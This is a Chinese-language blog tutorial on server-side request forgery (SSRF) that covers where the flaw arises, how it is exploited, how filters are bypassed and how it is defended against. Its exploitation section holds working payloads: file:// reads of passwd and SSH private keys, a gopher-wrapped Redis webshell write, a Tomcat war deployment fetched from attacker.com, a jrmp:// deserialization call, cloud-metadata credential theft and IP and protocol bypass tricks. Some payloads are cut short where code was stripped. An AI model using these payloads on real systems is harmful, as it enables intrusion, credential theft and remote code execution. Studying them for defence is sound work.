【Web安全】SSRF - 教程

❤️博客主页iknow181
系列专栏网络安全、 PythonJavaSEJavaWebCCNP
欢迎大家点赞收藏⭐评论✍


在这里插入图片描述

一、SSRF是什么?

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

ssrf 本身不能写入文件,需要和其他的漏洞或者协议结合使用。

二、SSRF漏洞原理

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

比如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

主要攻击方式如下所示。

  • 对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner(banner信息就是指服务器返回给你的响应头的相关信息)信息。
  • 攻击运行在内网或本地的应用程序。
  • 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  • 攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如struts2、SQli等)。
  • 利用file协议读取本地文件等。

三、SSRF漏洞点挖掘

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
  12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
  13. 从URL关键字中寻找
share
wap
url
link
src
source
target
u
display
sourceURl
imageURL
domain

简单来说:所有目标服务器会从自身发起请求的功能点,且我们可以控制地址的参数,都可能造成SSRF漏洞

四、漏洞利用

0.SSRF 利用的核心前提

要成功利用 SSRF,需先明确两个关键:

  1. 请求控制权:漏洞参数(如 url/callback/file)可完全控制,能自定义请求协议、IP、端口、路径;
  2. 无严格限制:服务器未过滤危险协议(file:///gopher://)、未限制内网 IP(127.0.0.1/192.168/172.16 等)、未校验请求目标。

1.SSRF利用的协议

(1)file:在有回显的情况下,利用 file 协议可以读取任意内容

(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等

(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

(4)http/s:探测内网主机存活

2.SSRF 基础利用:信息探测(无门槛,最常用)

核心目标:利用 SSRF 突破网络隔离,探测内网资产、读取本地文件、验证服务存活。

1. 探测内网存活主机 / 开放端口

服务器可访问内网(外网不可达),通过 SSRF 扫描内网 IP + 端口,绘制内网拓扑:

  • 基础 payload(假设漏洞接口为 http://target.com/ssrf?url=):
# 探测本地 80/3306/6379 端口
http://target.com/ssrf?url=http://127.0.0.1:80
http://target.com/ssrf?url=http://127.0.0.1:3306
http://target.com/ssrf?url=http://127.0.0.1:6379
# 探测内网主机(192.168.1.1-255)
http://target.com/ssrf?url=http://192.168.1.100:8080
    • 判断端口开放
      • 端口开放:返回 200/403 / 响应内容(如 “MySQL Server”);
      • 端口关闭:返回超时 / 连接拒绝 / 500 错误。
  • 利用dict 协议
    • dict:// 可快速判断目标 IP: 端口是否开放,比 http:// 更高效(无需等待 HTTP 响应,仅需 TCP 连接)
# 探测本地 Redis 端口(6379)
http://target.com/ssrf?url=dict://127.0.0.1:6379
# 探测内网 MySQL 端口(3306)
http://target.com/ssrf?url=dict://192.168.1.100:3306
# 探测任意端口(如 8080/22)
http://target.com/ssrf?url=dict://127.0.0.1:8080
    • 判断逻辑
      • 端口开放:返回 200 响应 + 服务原始 Banner(如 Redis 返回 -ERR wrong number of arguments for 'get' command);
      • 端口关闭:返回超时 / 500 错误 /“Connection refused”;
      • 端口过滤:返回 “Connection timeout”。
2. 读取本地敏感文件(file:// 协议)

利用 file:// 协议读取服务器本地文件(需服务器允许该协议),是 SSRF 最基础的高危利用:

  • 通用 payload
# 读取 Linux 敏感文件
http://target.com/ssrf?url=file:///etc/passwd
http://target.com/ssrf?url=file:///etc/hosts
http://target.com/ssrf?url=file:///var/log/nginx/access.log  # 日志文件(可能含账号密码)
http://target.com/ssrf?url=file:///root/.ssh/id_rsa        # 私钥文件(最高危)
# 读取 Windows 敏感文件
http://target.com/ssrf?url=file:///C:/Windows/system32/drivers/etc/hosts
http://target.com/ssrf?url=file:///C:/Users/Administrator/.ssh/id_rsa
http://target.com/ssrf?url=file:///C:/ProgramData/Microsoft/Windows/Start%20Menu/Programs/Startup/evil.bat
  • 绕过小技巧:若 file:// 被过滤,尝试 file:/(少一个斜杠)、file://./(相对路径)。

file协议利用,这里读取windows目录下的win.ini文件内容

3. 访问内网敏感服务

内网服务(如 Redis、MySQL、ZooKeeper、后台管理系统)通常仅绑定内网 IP,通过 SSRF 直接访问:

  • Redis 未授权访问探测
http://target.com/ssrf?url=http://127.0.0.1:6379
# 返回“-ERR wrong number of arguments for 'get' command”说明服务存活
  • 内网后台管理系统访问
http://target.com/ssrf?url=http://192.168.1.10:8080/admin
# 访问内网后台(可能无需鉴权)

3.SSRF 进阶利用:高危操作(结合漏洞,实现控制)

基础探测仅能收集信息,结合内网服务漏洞 / 服务器配置缺陷,可实现代码执行、文件写入、权限接管等核心攻击。

1. 利用 SSRF 触发命令执行(最核心)
场景 1:SSRF + 内网 Redis 未授权访问(写入恶意文件)

Redis 默认绑定 127.0.0.1,外网无法访问,但 SSRF 可伪造本地请求,利用未授权访问写入恶意脚本到 web 目录:

  • 构造 gopher 协议 payload(封装 Redis 命令):Redis 协议为文本协议,需将命令转成 gopher:// 可识别的格式(URL 编码):
# Redis 命令(写 PHP 木马到 /var/www/html/)
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET x ""
SAVE
# 转成 gopher payload(URL 编码后)
http://target.com/ssrf?url=gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/var/www/html/%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSET%20x%20%22%3C?php%20@eval($_POST['cmd']);?%3E%22%0d%0aSAVE%0d%0a

执行后,Redis 会将木马写入 /var/www/html/shell.php,攻击者可直接访问该文件执行命令。

场景 2:SSRF + 内网 Tomcat 弱口令(部署 war 包)

内网 Tomcat 若存在弱口令(admin/admin),通过 SSRF 上传恶意 war 包,实现代码执行:

  • 步骤 1:构造恶意 war 包(含木马),上传到公网可访问的服务器(如 http://attacker.com/evil.war);
  • 步骤 2:通过 SSRF 调用 Tomcat 部署接口,下载并部署 war 包:
# Tomcat 部署接口(需认证)
http://target.com/ssrf?url=http://admin:admin@127.0.0.1:8080/manager/html/deploy?path=/evil&war=http://attacker.com/evil.war
  • 步骤 3:访问 http://target.com/evil/shell.jsp 执行命令。
2. 利用 SSRF 写入文件
1. 本地写文件接口调用

服务器提供 “保存配置 / 导出数据” 的本地接口(仅允许 127.0.0.1 访问),通过 SSRF 调用该接口写入木马:

a. 场景 1:信息收集
  • 挖掘目标服务器的本地接口,例如:
    • http://127.0.0.1/admin/api/saveConfig?path=/tmp/malicious.php&content=<?php eval($_POST[cmd]);?>(保存配置到指定文件);
    • http://127.0.0.1/export?file=/var/www/html/shell.jsp&data=<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>(导出数据到指定文件)。
  • 确认接口仅允许本地 / 内网访问(外网直接访问 403 / 拒绝,SSRFI 访问 200)。
b. 场景 2:构造 SSRF 请求写文件

假设目标存在 SSRF 漏洞的接口为 http://target.com/ssrf?url=[可控参数],构造 payload 调用本地写文件接口:

http://target.com/ssrf?url=http://127.0.0.1/admin/api/saveConfig?path=/var/www/html/shell.php&content=<?php @eval($_REQUEST['cmd']);?>

若接口有参数编码 / 长度限制,可通过 gopher:// 协议封装 POST 请求(避免 GET 参数暴露):

# 构造 POST 请求(保存文件)
POST /admin/api/saveConfig HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
path=/var/www/html/shell.php&content=
# 转成 gopher payload(URL 编码后)
http://target.com/ssrf?url=gopher://127.0.0.1:80/_POST%20/admin/api/saveConfig%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2088%0d%0a%0d%0apath=/var/www/html/shell.php&content=
2. 日志注入 + 文件解析(间接 + 需二次触发)

通过 SSRF 向服务器日志(如 Nginx/Tomcat 日志)注入恶意代码,再利用文件包含 / 解析漏洞执行:

  1. 构造 SSRF 请求注入日志:若服务器会记录请求的 User-Agent/Referer/URL 到日志(如 Nginx 日志、Tomcat 日志),通过 SSRF 伪造请求,将恶意代码注入日志:
# SSRF payload(注入 PHP 代码到 User-Agent)
http://target.com/ssrf?url=http://127.0.0.1/xxx HTTP/1.1
User-Agent: 
  1. 触发日志文件解析:若日志文件存储在 web 可访问目录(如 /var/log/nginx/access.log),且服务器允许解析该目录的脚本(如 Nginx 配置 fastcgi_pass 指向该目录),则可直接访问日志文件执行代码。
3. 利用 SSRF 实现反序列化攻击

部分服务(如 Dubbo、JRMP、Java RMI)支持反序列化,通过 SSRF 触发恶意反序列化 payload,实现代码执行:

  • JRMP 协议利用:攻击者搭建 JRMP 服务器(含恶意反序列化 payload),通过 SSRF 让目标服务器访问该 JRMP 服务器,触发反序列化:
http://target.com/ssrf?url=jrmp://attacker.com:1099/evil
4. 利用 SSRF 攻击云服务(特有场景)

若目标服务器部署在云厂商(阿里云 / 腾讯云 / AWS),可通过 SSRF 访问云服务元数据接口,获取密钥 / 令牌,接管云资源:

  • 阿里云元数据(ECS)
http://target.com/ssrf?url=http://100.100.100.200/latest/meta-data/  # 读取元数据
http://target.com/ssrf?url=http://100.100.100.200/latest/meta-data/ram/security-credentials/  # 获取 RAM 密钥
  • AWS 元数据
http://target.com/ssrf?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/  # 获取 IAM 密钥

五、SSRF漏洞绕过方法

若目标对 SSRF 做了基础防护(如过滤 127.0.0.1、禁止 file 协议),需通过以下方式绕过:

1. IP 绕过(过滤内网 IP 时)
  • IP 进制转换:127.0.0.1 → 十进制 2130706433、八进制 017700000001、十六进制 0x7f000001

  • 域名解析:将 127.0.0.1 绑定到公网域名(如 attacker.com A 127.0.0.1),用域名代替 IP;
  • 特殊域名localhost0.0.0.0127.1(省略后段 IP)、xip.io可以指向任意ip的域名 原理是DNS解析。xip.io可以指向任意域名,即127.0.0.1.xip.io,可解析为127.0.0.1;
  • 路径穿越http://192.168.1.100@127.0.0.1(利用@ 混淆 IP 识别)。
  • 短地址: https://0x9.me/cuGfD 推荐:http://tool.chinaz.com/tools/dwz.aspx、https://dwz.cn/
  • 利用[::]绕过:http://[::]:80/ >>> http://127.0.0.1
  • 句号绕过:127。0。0。1 >>> 127.0.0.1
  • 利用302跳转绕过:使用https://tinyurl.com/生成302跳转地址
2. 协议绕过(过滤危险协议时)
  • 协议变种file://file://file://./gopher://gopher://127.0.0.1:80/_(下划线分隔);
  • 协议嵌套http://gopher://127.0.0.1:6379/evil(部分解析器会优先解析内层协议);
  • 改用其他协议dict://(探测端口)、ftp://(传输文件)、ldap://(内网探测)。
3. 长度 / 编码绕过
  • URL 编码:对 payload 做 1/2 次 URL 编码(如 %2566%2569%256C%2565:///etc/passwd);
  • Unicode 编码file://\u0066\u0069\u006C\u0065://
  • 换行符分割:在 payload 中插入 %0d%0a(部分解析器忽略换行)。

2.常见限制

  • 限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过。即@http://www.xxx.com@www.xxc.com

  • 2限制请求IP不为内网地址

当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

  • 限制请求只为http协议

(1)采取302跳转
(2)采取短地址

六、SSRF防御

核心防御:白名单 + 协议限制
  • 目标白名单:仅允许 SSRF 接口访问指定的可信域名 / IP(如业务必需的内网服务),禁止 127.0.0.1 / 内网 IP;
  • 协议白名单:仅允许 http:///https://,严格禁止 file:///gopher:///dict:///jrmp:// 等危险协议;
  • 端口限制:仅允许访问 80/443 等常用端口,禁止 6379/3306/8080 等敏感端口。
2. 输入校验与清洗
  • 过滤 @/:///../ 等特殊字符,避免 IP / 协议混淆;
  • 校验请求目标的 IP 归属(如禁止私有 IP 段:10.0.0.0/8、172.16.0.0/12、192.168.0.0/16)。
3. 加固内网服务
  • 禁用 Redis/Tomcat/MongoDB 等服务的未授权访问,设置强密码;
  • 云服务器关闭元数据接口(或限制访问权限);
  • 内网服务仅绑定必要的 IP,禁止 0.0.0.0 监听。
4. 监控与审计
  • 记录 SSRF 接口的请求日志(目标 IP、协议、响应码),异常请求(如访问 127.0.0.1)及时告警;
  • 限制请求频率,防止 SSRF 用于内网扫描。

在这里插入图片描述

posted @ 2026-01-20 15:06  gccbuaa  阅读(0)  评论(0)    收藏  举报